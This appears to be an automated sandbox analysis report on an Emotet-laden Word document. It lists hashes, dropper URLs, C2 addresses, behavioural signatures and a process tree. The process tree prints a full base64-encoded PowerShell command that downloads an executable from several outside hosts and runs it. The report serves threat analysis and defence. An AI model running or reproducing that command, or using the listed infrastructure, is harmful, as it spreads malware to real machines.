Analysis

  • max time kernel
    120s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    15/09/2020, 16:16

General

  • Target
    CST_090120_QQZ_091520.doc
  • Size 158KB
  • Sample200915-zdcsnj9xae
  • SHA256 84a3218db211f14f6afaf90ced3a518193158b80bbbf43bbf82a955d6064fa2d
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://case.gonukkad.com/sys-cache/CjT/

  • exe.dropper

    https://starrcoin.net/wp-admin/YT/

  • exe.dropper

    http://modelaw.devkind.com.au/wp-admin/cvDRmGK/

  • exe.dropper

    http://dprkp.palembang.go.id/sys-cache/7Y4aHw/

  • exe.dropper

    http://completeguideblogging.com/euiot/PAuJG/

  • exe.dropper

    http://qutiche.cn/wp-admin/Q/

  • exe.dropper

    https://shiva-engineering.com/1cj/tKemHV7/

Extracted

Family
  • emotet

C2
  • 75.80.124.4:80

  • 134.209.36.254:8080

  • 104.156.59.7:8080

  • 120.138.30.150:8080

  • 107.5.122.110:80

  • 195.251.213.56:80

  • 91.211.88.52:7080

  • 79.98.24.39:8080

  • 75.139.38.211:80

  • 82.225.49.121:80

  • 162.241.242.173:8080

  • 94.1.108.190:443

  • 85.105.205.77:8080

  • 181.169.34.190:80

  • 24.179.13.119:80

  • 139.59.67.118:443

  • 82.80.155.43:80

  • 50.91.114.38:80

  • 93.147.212.206:80

  • 153.232.188.106:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\CST_090120_QQZ_091520.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1156
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABVADkAcABmAHcAeQBqAD0AKAAoACcAQgA2ACcAKwAnAF8AJwApACsAKAAnAG8AOABfACcAKwAnAHAAJwApACkAOwAuACgAJwBuAGUAJwArACcAdwAtAGkAdABlAG0AJwApACAAJABlAE4AVgA6AHUAUwBlAHIAUABSAG8ARgBJAEwAZQBcAEsAWABmAEUARAAxADQAXABEAFMANQA4ADMAUgBoAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQByAEUAYwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBDAHUAUgBgAGkAYABUAHkAUAByAG8AdABPAGMATwBMACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAnACkAKwAoACcAMgAsACcAKwAnACAAdABsAHMAJwArACcAMQAxACcAKQArACgAJwAsACAAJwArACcAdAAnACkAKwAnAGwAJwArACcAcwAnACkAOwAkAFMAYQBrAGYAegBuAHoAIAA9ACAAKAAoACcAVQAnACsAJwBpADAAaQAnACkAKwAoACcANgBtACcAKwAnADYAJwApACkAOwAkAEkAbwBqAGgAMgBqAGEAPQAoACgAJwBWAF8AJwArACcAbgAzADAAdAAnACkAKwAnAHUAJwApADsAJABNAGYAagBuAHoAdQBmAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnADkAJwArACgAJwBLAGsASwB4ACcAKwAnAGYAZQBkACcAKwAnADEANAA5AEsAawBEAHMAJwApACsAJwA1ADgAJwArACgAJwAzAHIAJwArACcAaAA5AEsAJwArACcAawAnACkAKQAgAC0AcgBlAFAAbABBAGMAZQAgACgAJwA5ACcAKwAnAEsAawAnACkALABbAEMASABBAFIAXQA5ADIAKQArACQAUwBhAGsAZgB6AG4AegArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAEsAdwBjAGkAMgBvADkAPQAoACcAQgB0ACcAKwAoACcAZQAnACsAJwB1AHQAMABxACcAKQApADsAJABIAGoAOAA3AGwANgBiAD0ALgAoACcAbgBlACcAKwAnAHcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAEUAVAAuAHcARQBCAGMATABJAEUAbgB0ADsAJABEAGkAeAB6AG8AZwBlAD0AKAAoACcAaAB0AHQAJwArACcAcAAnACkAKwAnAHMAJwArACgAJwA6AC8ALwBjACcAKwAnAGEAJwArACcAcwAnACkAKwAoACcAZQAuAGcAJwArACcAbwAnACkAKwAoACcAbgAnACsAJwB1AGsAawBhAGQALgBjACcAKQArACcAbwBtACcAKwAnAC8AJwArACcAcwAnACsAKAAnAHkAcwAnACsAJwAtAGMAYQAnACkAKwAoACcAYwBoAGUALwAnACsAJwBDACcAKQArACgAJwBqACcAKwAnAFQALwAqAGgAJwApACsAJwB0AHQAJwArACcAcAAnACsAJwBzADoAJwArACgAJwAvAC8AcwAnACsAJwB0AGEAcgAnACsAJwByAGMAbwAnACsAJwBpAG4ALgAnACsAJwBuACcAKQArACcAZQAnACsAKAAnAHQALwAnACsAJwB3AHAALQBhAGQAbQBpAG4AJwArACcALwBZACcAKwAnAFQALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvACcAKQArACgAJwAvACcAKwAnAG0AbwBkAGUAbABhAHcAJwArACcALgBkACcAKwAnAGUAdgAnACkAKwAoACcAawBpACcAKwAnAG4AZAAnACkAKwAoACcALgBjACcAKwAnAG8AbQAuACcAKQArACgAJwBhAHUAJwArACcALwB3ACcAKQArACgAJwBwAC0AJwArACcAYQBkACcAKQArACgAJwBtAGkAJwArACcAbgAnACsAJwAvAGMAJwArACcAdgBEACcAKwAnAFIAbQBHAEsALwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKwAnAC8AJwArACcAZABwAHIAawBwAC4AJwArACcAcAAnACkAKwAnAGEAbAAnACsAKAAnAGUAbQBiAGEAbgAnACsAJwBnACcAKQArACcALgAnACsAJwBnACcAKwAoACcAbwAuACcAKwAnAGkAZAAvAHMAeQBzAC0AJwArACcAYwBhACcAKwAnAGMAJwApACsAKAAnAGgAZQAvADcAJwArACcAWQA0AGEAJwApACsAKAAnAEgAJwArACcAdwAvACoAaAAnACsAJwB0AHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AYwAnACkAKwAnAG8AJwArACgAJwBtACcAKwAnAHAAbABlAHQAZQBnACcAKQArACgAJwB1ACcAKwAnAGkAZABlAGIAJwApACsAJwBsACcAKwAnAG8AZwAnACsAJwBnACcAKwAoACcAaQBuACcAKwAnAGcALgAnACsAJwBjAG8AJwApACsAKAAnAG0AJwArACcALwBlAHUAaQBvAHQAJwApACsAKAAnAC8AUABBACcAKwAnAHUASgBHACcAKQArACcALwAqACcAKwAoACcAaAB0AHQAJwArACcAcAA6AC8AJwApACsAKAAnAC8AcQAnACsAJwB1AHQAaQAnACsAJwBjAGgAZQAnACkAKwAoACcALgBjACcAKwAnAG4AJwApACsAKAAnAC8AdwBwACcAKwAnAC0AJwApACsAJwBhACcAKwAnAGQAJwArACcAbQAnACsAKAAnAGkAbgAnACsAJwAvACcAKQArACgAJwBRAC8AJwArACcAKgBoAHQAJwArACcAdABwAHMAOgAvAC8AcwAnACkAKwAoACcAaABpAHYAYQAtACcAKwAnAGUAbgAnACsAJwBnAGkAbgBlACcAKwAnAGUAcgAnACsAJwBpAG4AJwArACcAZwAuAGMAbwBtACcAKwAnAC8AMQBjACcAKwAnAGoALwB0AEsAJwArACcAZQAnACkAKwAoACcAbQBIACcAKwAnAFYAJwApACsAJwA3AC8AJwApAC4AIgBTAGAAcABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEMAeQA1AGgAcABiADQAPQAoACcAVwAxACcAKwAoACcAdgA5ACcAKwAnAHgAJwApACsAJwB5AGwAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAUQByAG8AbQA2AGEAcgAgAGkAbgAgACQARABpAHgAegBvAGcAZQApAHsAdAByAHkAewAkAEgAagA4ADcAbAA2AGIALgAiAGQAYABPAFcAbgBMAG8AQQBgAEQARgBgAEkATABlACIAKAAkAFEAcgBvAG0ANgBhAHIALAAgACQATQBmAGoAbgB6AHUAZgApADsAJABSAGgANQBpAGsAeABfAD0AKAAnAE0AZQAnACsAKAAnAGUAaABmAHEAJwArACcAMQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABNAGYAagBuAHoAdQBmACkALgAiAGwARQBgAE4AYABnAHQAaAAiACAALQBnAGUAIAAzADYAOQAzADEAKQAgAHsAJgAoACcASQBuAHYAbwBrACcAKwAnAGUAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAoACQATQBmAGoAbgB6AHUAZgApADsAJABYAHoAawB6AG0AbQBuAD0AKAAoACcARwAnACsAJwBuAGEANQAnACkAKwAnAF8AJwArACcAcwBwACcAKQA7AGIAcgBlAGEAawA7ACQAVwA3AGwAZgBoAGcAcQA9ACgAKAAnAFcAMgBrACcAKwAnADgAdwB5ACcAKQArACcAcAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFMAcAAxAF8AYQB1AG0APQAoACcATQAnACsAKAAnAHEAYgBqAF8AJwArACcAZQByACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1760
    • C:\Users\Admin\Kxfed14\Ds583rh\Ui0i6m6.exe
      "C:\Users\Admin\Kxfed14\Ds583rh\Ui0i6m6.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:584
      • C:\Windows\SysWOW64\osuninst\keymgr.exe
        "C:\Windows\SysWOW64\osuninst\keymgr.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:836

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/584-16-0x0000000000270000-0x0000000000280000-memory.dmp

        memory/584-15-0x0000000000250000-0x0000000000262000-memory.dmp

        memory/836-21-0x0000000000300000-0x0000000000310000-memory.dmp

        memory/836-20-0x00000000002E0000-0x00000000002F2000-memory.dmp

        memory/1156-3-0x0000000007B80000-0x0000000007D80000-memory.dmp

        memory/1156-4-0x0000000007B80000-0x0000000007D80000-memory.dmp

        memory/1156-2-0x0000000009630000-0x0000000009634000-memory.dmp

        memory/1312-22-0x000007FEF7860000-0x000007FEF7ADA000-memory.dmp

        memory/1760-9-0x0000000002440000-0x0000000002441000-memory.dmp

        memory/1760-6-0x000007FEE99A0000-0x000007FEEA38C000-memory.dmp

        memory/1760-7-0x0000000002400000-0x0000000002401000-memory.dmp

        memory/1760-8-0x000000001ABB0000-0x000000001ABB1000-memory.dmp

        memory/1760-10-0x0000000002470000-0x0000000002471000-memory.dmp

        memory/1760-12-0x000000001C400000-0x000000001C401000-memory.dmp

        memory/1760-11-0x000000001B930000-0x000000001B931000-memory.dmp